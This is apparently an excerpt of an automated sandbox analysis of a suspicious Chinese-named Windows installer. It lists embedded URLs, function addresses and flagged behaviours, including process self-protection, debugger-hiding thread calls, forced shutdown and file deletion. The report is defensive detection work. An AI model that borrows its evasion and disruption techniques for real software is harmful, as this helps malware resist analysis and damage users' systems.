Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://ocsp.digicert.com0A
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://ocsp.digicert.com0C
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://ocsp.digicert.com0H
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://ocsp.digicert.com0I
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://ocsp.digicert.com0X
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://www.digicert.com/CPS0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1390211414.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1391080375.000000007EB9B000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000002.00000000.1392689338.0000000000E71000.00000020.00000001.01000000.00000004.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000000.1411849175.00000000004CD000.00000020.00000001.01000000.00000008.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drString found in binary or memory: https://www.innosetup.com/
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1390211414.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.exe, 00000000.00000003.1391080375.000000007EB9B000.00000004.00001000.00020000.00000000.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000002.00000000.1392689338.0000000000E71000.00000020.00000001.01000000.00000004.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000000.1411849175.00000000004CD000.00000020.00000001.01000000.00000008.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drString found in binary or memory: https://www.remobjects.com/ps

Operating System Destruction

barindex
Protects its processes via BreakOnTermination flag
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpProcess information set: 01 00 00 00 Jump to behavior

System Summary

barindex
PE file contains section with special chars
Source: update.vac.2.drStatic PE information: section name: .#.q
Source: hrsw.vbc.6.drStatic PE information: section name: .#.q
Source: update.vac.6.drStatic PE information: section name: .#.q
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA75690 NtSetInformationThread,OpenSCManagerA,CloseServiceHandle,OpenServiceA,CloseServiceHandle,6_2_6CA75690
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F3886 NtSetInformationThread,GetCurrentThread,NtSetInformationThread,6_2_6C8F3886
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F3C62 NtSetInformationThread,GetCurrentThread,NtSetInformationThread,6_2_6C8F3C62
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F3D18 NtSetInformationThread,GetCurrentThread,NtSetInformationThread,6_2_6C8F3D18
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F3D62 NtSetInformationThread,GetCurrentThread,NtSetInformationThread,6_2_6C8F3D62
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F39CF NtSetInformationThread,GetCurrentThread,NtSetInformationThread,6_2_6C8F39CF
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA762D0 OpenProcessToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,NtInitiatePowerAction,6_2_6CA762D0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F3A6A NtSetInformationThread,GetCurrentThread,NtSetInformationThread,6_2_6C8F3A6A
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F1950: CreateFileA,DeviceIoControl,CloseHandle,6_2_6C8F1950
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F4754 _strlen,CreateFileA,CreateFileA,CloseHandle,_strlen,std::ios_base::_Ios_base_dtor,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,_strlen,TerminateProcess,GetCurrentProcess,TerminateProcess,_strlen,Sleep,ExitWindowsEx,Sleep,DeleteFileA,Sleep,_strlen,DeleteFileA,Sleep,_strlen,std::ios_base::_Ios_base_dtor,6_2_6C8F4754
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C8F47546_2_6C8F4754
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6C904A276_2_6C904A27
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA71DF06_2_6CA71DF0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA76FB36_2_6CA76FB3
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAD6CE06_2_6CAD6CE0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB44DE06_2_6CB44DE0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB26D106_2_6CB26D10
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAA8EA16_2_6CAA8EA1
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAFAEEF6_2_6CAFAEEF
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2EEF06_2_6CB2EEF0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAC2EC96_2_6CAC2EC9
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAF48966_2_6CAF4896
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB3C8D06_2_6CB3C8D0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB368206_2_6CB36820
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB1E8106_2_6CB1E810
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB448706_2_6CB44870
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB469996_2_6CB46999
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB3A9306_2_6CB3A930
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB4A91A6_2_6CB4A91A
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB269006_2_6CB26900
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAA89726_2_6CAA8972
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB389506_2_6CB38950
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB34AA06_2_6CB34AA0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB4AA006_2_6CB4AA00
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB00A526_2_6CB00A52
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB1AB906_2_6CB1AB90
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAB0BCA6_2_6CAB0BCA
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB3EBC06_2_6CB3EBC0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAC0B666_2_6CAC0B66
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB084AC6_2_6CB084AC
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB344896_2_6CB34489
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2E4D06_2_6CB2E4D0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2C5806_2_6CB2C580
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB225806_2_6CB22580
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB245D06_2_6CB245D0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB125216_2_6CB12521
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB385206_2_6CB38520
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB446C06_2_6CB446C0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB3E6006_2_6CB3E600
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB367A06_2_6CB367A0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB0C7F36_2_6CB0C7F3
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAAC7CF6_2_6CAAC7CF
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB467C06_2_6CB467C0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2E0E06_2_6CB2E0E0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB200206_2_6CB20020
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB3C2A06_2_6CB3C2A0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB382006_2_6CB38200
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB45D906_2_6CB45D90
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB23D506_2_6CB23D50
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAF7D436_2_6CAF7D43
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB29E806_2_6CB29E80
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB01F116_2_6CB01F11
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB1589F6_2_6CB1589F
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB378C86_2_6CB378C8
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB299F06_2_6CB299F0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB21AA06_2_6CB21AA0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB1DAD06_2_6CB1DAD0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB1FA506_2_6CB1FA50
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAC540A6_2_6CAC540A
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAEF5EC6_2_6CAEF5EC
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2F5C06_2_6CB2F5C0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB296E06_2_6CB296E0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB1B6506_2_6CB1B650
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB3F6406_2_6CB3F640
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB437C06_2_6CB437C0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB497006_2_6CB49700
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CAC30926_2_6CAC3092
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2F0506_2_6CB2F050
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB271F06_2_6CB271F0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2D2806_2_6CB2D280
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB2D3806_2_6CB2D380
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB36AF06_2_6CB36AF0
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CB337506_2_6CB33750
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008981EC10_2_008981EC
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D81C010_2_008D81C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E824010_2_008E8240
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008C425010_2_008C4250
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008EC3C010_2_008EC3C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E04C810_2_008E04C8
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008C865010_2_008C8650
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008A094310_2_008A0943
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CC95010_2_008CC950
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008C8C2010_2_008C8C20
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E4EA010_2_008E4EA0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E0E0010_2_008E0E00
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008DD08910_2_008DD089
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008B10AC10_2_008B10AC
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D518010_2_008D5180
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E91C010_2_008E91C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CD1D010_2_008CD1D0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E112010_2_008E1120
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008ED2C010_2_008ED2C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008553CF10_2_008553CF
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008B53F310_2_008B53F3
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0089D49610_2_0089D496
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E54D010_2_008E54D0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008ED47010_2_008ED470
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E155010_2_008E1550
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0085157210_2_00851572
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008DD6A010_2_008DD6A0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008A965210_2_008A9652
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008597CA10_2_008597CA
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0086976610_2_00869766
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008ED9E010_2_008ED9E0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00851AA110_2_00851AA1
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D5E8010_2_008D5E80
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D5F8010_2_008D5F80
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0086E00A10_2_0086E00A
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D22E010_2_008D22E0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008F230010_2_008F2300
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008BE49F10_2_008BE49F
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D25F010_2_008D25F0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CA6A010_2_008CA6A0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008C66D010_2_008C66D0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008EE99010_2_008EE990
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D2A8010_2_008D2A80
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008AAB1110_2_008AAB11
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D6CE010_2_008D6CE0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D70D010_2_008D70D0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CB18010_2_008CB180
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008BB12110_2_008BB121
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E720010_2_008E7200
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008DF3A010_2_008DF3A0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008EF3C010_2_008EF3C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0087B3E410_2_0087B3E4
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008C741010_2_008C7410
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008DF42010_2_008DF420
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008EF59910_2_008EF599
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CF50010_2_008CF500
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008F351A10_2_008F351A
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E353010_2_008E3530
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008F360110_2_008F3601
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008C379010_2_008C3790
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008E77C010_2_008E77C0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0087F8E010_2_0087F8E0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CF91010_2_008CF910
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0086BAC910_2_0086BAC9
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008A3AEF10_2_008A3AEF
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D7AF010_2_008D7AF0
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_0086BC9210_2_0086BC92
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008D7C5010_2_008D7C50
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_008CFDF010_2_008CFDF0
Source: C:\Program Files (x86)\Windows NT\7zr.exeProcess token adjusted: SecurityJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: String function: 6CB46F10 appears 728 times
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: String function: 6CAA9240 appears 53 times
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: String function: 008528E3 appears 34 times
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: String function: 008EFB10 appears 723 times
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: String function: 00851E40 appears 171 times
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: Number of sections : 11 > 10
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp.5.drStatic PE information: Number of sections : 11 > 10
